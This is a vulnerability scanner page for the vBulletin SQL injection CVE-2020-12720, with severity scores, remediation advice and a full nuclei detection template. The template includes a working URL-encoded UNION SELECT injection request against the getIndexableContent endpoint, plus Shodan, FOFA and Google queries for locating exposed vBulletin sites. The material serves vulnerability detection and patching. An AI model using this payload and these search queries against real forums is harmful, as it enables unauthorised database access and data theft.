vBulletin SQL Injection

criticalseverity

9.8CVSS score

88.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control that permits SQL injection attacks.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the underlying system.

Fix

Apply the latest security patch or upgrade to a non-vulnerable version of vBulletin.

How to confirm it

Send: POST /ajax/api/content_infraction/getIndexableContent
Positive when: contains "vbulletinrce"

Run it with nuclei: nuclei -id CVE-2020-12720 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-12720

info:
  name: vBulletin SQL Injection
  author: pdteam
  severity: critical
  description: vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control that permits SQL injection attacks.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the underlying system.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of vBulletin.
  reference:
    - https://github.com/rekter0/exploits/tree/master/CVE-2020-12720
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12720
    - https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4440032-vbulletin-5-6-1-security-patch-level-1
    - http://packetstormsecurity.com/files/157716/vBulletin-5.6.1-SQL-Injection.html
    - http://packetstormsecurity.com/files/157904/vBulletin-5.6.1-SQL-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-12720
    cwe-id: CWE-306
    epss-score: 0.88948
    epss-percentile: 0.9978
    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vbulletin
    product: vbulletin
    shodan-query:
      - http.title:"powered by vbulletin"
      - http.html:"powered by vbulletin"
      - http.component:"vbulletin"
      - cpe:"cpe:2.3:a:vbulletin:vbulletin"
    fofa-query:
      - body="powered by vbulletin"
      - title="powered by vbulletin"
    google-query:
      - intext:"powered by vbulletin"
      - intitle:"powered by vbulletin"
  tags: cve2020,cve,vbulletin,sqli,packetstorm,vkev,vuln

http:
  - raw:
      - |
        POST /ajax/api/content_infraction/getIndexableContent HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        nodeId%5Bnodeid%5D=1%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2CCONCAT%28%27vbulletin%27%2C%27rce%27%2C%40%40version%29%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27--+-

    matchers:
      - type: word
        words:
          - "vbulletinrce"

References

Use this check only on systems you are authorised to test. Where the data comes from